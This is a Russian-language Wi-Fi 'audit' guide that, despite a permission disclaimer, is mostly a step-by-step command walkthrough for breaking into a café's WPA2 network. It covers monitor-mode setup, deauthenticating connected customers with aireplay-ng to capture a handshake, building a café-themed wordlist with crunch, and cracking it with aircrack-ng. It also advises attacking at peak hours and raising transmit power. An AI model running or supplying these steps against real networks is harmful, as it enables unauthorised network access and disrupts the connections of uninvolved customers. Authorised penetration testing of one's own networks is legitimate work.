Полное руководство по аудиту Wi-Fi сетей

⚠️ Все действия требуют письменного разрешения владельца сети! Несоблюдение закона преследуется по статье 272 УК РФ.

1. Подготовка среды

Дистрибутивы: Kali Linux 2024.1+ (рекомендуется), Ubuntu 22.04+, Debian 12+

1.1 Установка зависимостей

# Для Debian/Ubuntu/Kali:
sudo apt update && sudo apt install -y \
aircrack-ng \
hcxtools \
hcxdumptool \
hashcat \
reaver \
bully \
crunch \
git \
make \
libpcap-dev \
libssl-dev \
zlib1g-dev

1.2 Настройка Wi-Fi адаптера

Рекомендуется

Alfa AWUS036ACH

sudo apt install realtek-rtl88xxau-dkms
sudo ip link set wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ip link set wlan0 up
Не рекомендуется

Встроенный Wi-Fi

Большинство встроенных адаптеров не поддерживают:
- Monitor mode
- Packet injection

2. Пошаговая атака на кафе

2.1 Сканирование сетей

sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
CH 11 ][ Elapsed: 1 min ][ 2024-02-20 12:00 BSSID PWR Beacons CH ENC ESSID 00:11:22:33:44:55 -42 158 6 WPA2 CoffeeShop

2.2 Захват рукопожатия

# Захват трафика:
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

# Форсирование хендшейка:
sudo aireplay-ng -0 4 -a 00:11:22:33:44:55 wlan0mon
Совет: Запустите атаку в час пик, когда клиенты активно подключаются

2.3 Взлом пароля

# Создание словаря для кафе:
crunch 8 12 -t @%%%%^Cafe -o dict.txt

# Запуск атаки:
aircrack-ng -w dict.txt capture-01.cap

3. Решение проблем

Ошибка: "Interface wlan0mon not found"

# Перезагрузка сетевого стека:
sudo systemctl restart NetworkManager
sudo rfkill unblock all
sudo airmon-ng check kill

Нет пакетов в захвате

# Увеличение мощности передачи:
sudo iwconfig wlan0mon txpower 30

# Проверка местоположения:
iwconfig wlan0mon | grep -i "tx-power"